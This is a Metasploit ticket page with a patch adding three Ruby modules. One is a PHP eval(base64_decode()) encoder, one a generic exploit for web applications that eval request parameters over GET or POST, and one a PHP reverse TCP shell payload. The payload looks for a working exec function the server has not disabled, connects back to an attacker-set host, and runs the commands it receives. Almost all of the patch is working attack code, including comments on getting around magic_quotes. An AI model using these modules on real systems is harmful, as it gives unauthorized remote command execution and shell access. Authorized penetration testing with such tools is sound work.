Ticket #197: php_eval.patch
| File php_eval.patch, 8.7 kB (added by egypt@nmt.edu, 8 months ago) |
|---|
-
modules/encoders/php/base64.rb
old new 1 ## 2 # $Id: $ 3 ## 4 5 ## 6 # This file is part of the Metasploit Framework and may be subject to 7 # redistribution and commercial restrictions. Please see the Metasploit 8 # Framework web site for more information on licensing and terms of use. 9 # http://metasploit.com/projects/Framework/ 10 ## 11 12 13 require 'msf/core' 14 15 module Msf 16 module Encoders 17 module Php 18 19 class Base64 < Msf::Encoder 20 21 def initialize 22 super( 23 'Name' => 'PHP code Base64 encoder', 24 'Version' => '$Revision: $', 25 'Description' => %q{ 26 This encoder returns a base64 string encapsulated in 27 eval(base64_decode()), increasing the size by roughly one 28 third. 29 }, 30 'Author' => 'egypt <egypt@nmt.edu>', 31 'License' => BSD_LICENSE, 32 'Arch' => ARCH_PHP) 33 end 34 35 def encode_block(state, buf) 36 # Try not to insert quotes as PHP escapes these by default with 37 # magic_quotes_gpc. The '==' at the end of the base64 encoded data is 38 # unnecessary and can cause parse errors when we use it as a raw 39 # string, so strip it off. 40 # 41 # The raw, unquoted base64 without the terminating equals works because 42 # PHP treats it like a string, with a couple of caveats. For payloads 43 # that encode to more than 998 characters, only part of the payload 44 # gets unencoded on the victim, presumably due to a limitation in php 45 # identifier names, so we break the encoded payload into 900-byte 46 # chunks. We also must be careful not to begin a chunk with a digit 47 # because then PHP thinks it's a number and chokes. 48 49 b64 = Rex::Text.encode_base64(buf) 50 b64.gsub!(/[=\n]+/, '') 51 block = '' 52 i = 900; 53 while i < b64.length 54 while (b64[i].chr =~ /^[0-9]/) 55 i += 1 56 end 57 b64.insert(i,'.') 58 i += 900 59 end 60 block = "eval(base64_decode(" + b64 + "));" 61 return block 62 end 63 64 end 65 66 end end end -
modules/exploits/unix/webapp/php_eval.rb
old new 1 ## 2 # $Id: $ 3 ## 4 5 ## 6 # This file is part of the Metasploit Framework and may be subject to 7 # redistribution and commercial restrictions. Please see the Metasploit 8 # Framework web site for more information on licensing and terms of use. 9 # http://metasploit.com/projects/Framework/ 10 ## 11 12 13 require 'msf/core' 14 15 module Msf 16 17 class Exploits::Unix::Webapp::PHP_Eval < Msf::Exploit::Remote 18 19 include Exploit::Remote::HttpClient 20 21 def initialize(info = {}) 22 super(update_info(info, 23 'Name' => 'Generic PHP Code eval', 24 'Description' => %q{ 25 Exploits things like <?php eval($_REQUEST['evalme']); ?> 26 }, 27 'Author' => 'egypt <egypt@nmt.edu>', 28 'License' => BSD_LICENSE, 29 'Version' => '$Revision: 0 $', 30 'References' => [ ], 31 'Privileged' => false, 32 'Platform' => ['php'], 33 'Payload' => { 34 'Space' => 10000, # arbitrarily chosen 35 'DisableNops' => true, 36 'BadChars' => "'\"", # quotes are escaped by PHP's magic_quotes_gpc in a default install 37 'Keys' => ['php'], 38 }, 39 'Targets' => [ ['Automatic', { }], ], 40 'DefaultTarget' => 0 41 )) 42 43 44 register_options( 45 [ 46 OptString.new('URIPATH', [ true, "The URI to request, with the eval parameter changed to !CODE!", '/eval.php?evalme=!CODE!']), 47 OptBool.new('USE_POST', [ false, "Use POST method instead of GET", false]), 48 OptString.new('USE_POST_VAR', [ false, "Variable name to use if we're sending a POST request", 'evalme']), 49 ], self.class 50 ) 51 52 deregister_options( 53 'HTTP::junk_params', # not your typical POST, so don't inject params. 54 'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. 55 ) 56 end 57 58 def exploit 59 # very short timeout because the request may never return if we're 60 # sending a socket payload 61 timeout = 0.01 62 if (datastore['USE_POST']) 63 if !datastore['USE_POST_VAR'] 64 raise RuntimeError, "USE_POST_VAR must be set to send POST request" 65 end 66 print_status("Sending POST request with payload:\n#{payload.encoded}") 67 # it's post, so chop off all the get variables 68 uri = datastore['URIPATH'].slice(0, datastore['URIPATH'].index("?")) 69 response = send_request_cgi({ 70 'method' => 'POST', 71 'uri' => uri, 72 'vars_post' => {datastore['USE_POST_VAR'] => payload.encoded}, 73 },timeout) 74 else 75 uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(payload.encoded)) 76 print_status("Sending GET request for #{uri}") 77 response = send_request_raw({ 'uri' => uri },timeout) 78 end 79 if (response) 80 print_error(response) 81 end 82 end 83 end 84 end -
modules/payloads/singles/php/reverse_php_withchecks.rb
old new 1 ## 2 # $Id: reverse_php.rb 4419 2007-02-18 00:10:39Z hdm $ 3 ## 4 5 ## 6 # This file is part of the Metasploit Framework and may be subject to 7 # redistribution and commercial restrictions. Please see the Metasploit 8 # Framework web site for more information on licensing and terms of use. 9 # http://metasploit.com/projects/Framework/ 10 ## 11 12 13 require 'msf/core' 14 require 'msf/core/handler/reverse_tcp' 15 require 'msf/base/sessions/command_shell' 16 17 module Msf 18 module Payloads 19 module Singles 20 module Php 21 22 module ReversePhpWithChecks 23 24 include Msf::Payload::Single 25 26 def initialize(info = {}) 27 super(merge_info(info, 28 'Name' => 'PHP Command Shell, Reverse TCP (via php)', 29 'Version' => '$Revision: 4419 $', 30 'Description' => 'Reverse PHP connect back shell with checks for disabled functions', 31 'Author' => 'egypt <egypt@nmt.edu>', 32 'License' => BSD_LICENSE, 33 'Platform' => 'php', 34 'Arch' => ARCH_PHP, 35 'Handler' => Msf::Handler::ReverseTcp, 36 'Session' => Msf::Sessions::CommandShell, 37 'PayloadType' => 'cmd', 38 'Payload' => 39 { 40 'Offsets' => { }, 41 'Payload' => '' 42 } 43 )) 44 end 45 46 # 47 # PHP Reverse Shell 48 # 49 def php_reverse_shell 50 51 # 52 # inet_aton to bypass magic quotes protection for eval() vulnerarilities 53 # 54 55 ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first 56 57 shell=<<-END_OF_PHP_CODE 58 $disabled=@ini_get("disable_functions"); 59 if(!empty($disabled)){ 60 $disabled=preg_replace('/[,]+/',',',$disabled); 61 $disabled=explode(',',$disabled); 62 }else{$disabled=array();} 63 function myexec($cmd){ 64 if(is_callable('shell_exec')and!in_array('shell_exec',$disabled)){ 65 returnshell_exec($cmd); 66 }elseif(is_callable('passthru')and!in_array('passthru',$disabled)){ 67 ob_start();passthru($cmd); 68 $output=ob_get_contents(); 69 ob_end_clean(); 70 return$output; 71 }elseif(is_callable('system')and!in_array('system',$disabled)){ 72 ob_start(); 73 system($cmd); 74 $output=ob_get_contents(); 75 ob_end_clean(); 76 return$output; 77 }elseif(is_callable('exec')and!in_array('exec',$disabled)){ 78 $output=array(); 79 exec($cmd,$output); 80 $output=join("",$output).""; 81 return$output; 82 }elseif(is_callable('proc_open')and!in_array('proc_open',$disabled)){ 83 $descriptors=array(array("pipe","r"),array("pipe","w"),array("pipe","w"),); 84 $res=proc_open($cmd,$descriptors,$pipes); 85 $output=''; 86 while(!feof($pipes[1])){$output.=fread($pipes[1],1024);} 87 @proc_close($res); 88 return$output; 89 }elseif(is_callable('popen')and!in_array('popen',$disabled)){ 90 $fp=popen($cmd,"r"); 91 if(is_resource($fp)){ 92 $output=''; 93 while(!feof($fp)){ 94 $output.=fread($fp,1024); 95 }@pclose($fp); 96 } 97 return$output; 98 }else{return"All.exec.functions.are.disabled...Sorry.";} 99 } 100 $socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 101 $result=socket_connect($socket,#{ipaddr},#{datastore['LPORT']}); 102 $command=NULL; 103 while($command=socket_read($socket,2048)){ 104 $output=myexec(substr($command,0,-1)); 105 socket_write($socket,$output,strlen($output)); 106 } 107 socket_close($socket); 108 END_OF_PHP_CODE 109 110 # spaces are important but remove tabs and newlines to save space 111 shell.gsub!(/[\t\n]+/, '') 112 return shell 113 end 114 115 # 116 # Constructs the payload 117 # 118 def generate 119 return super + php_reverse_shell 120 end 121 122 123 end 124 125 end end end end
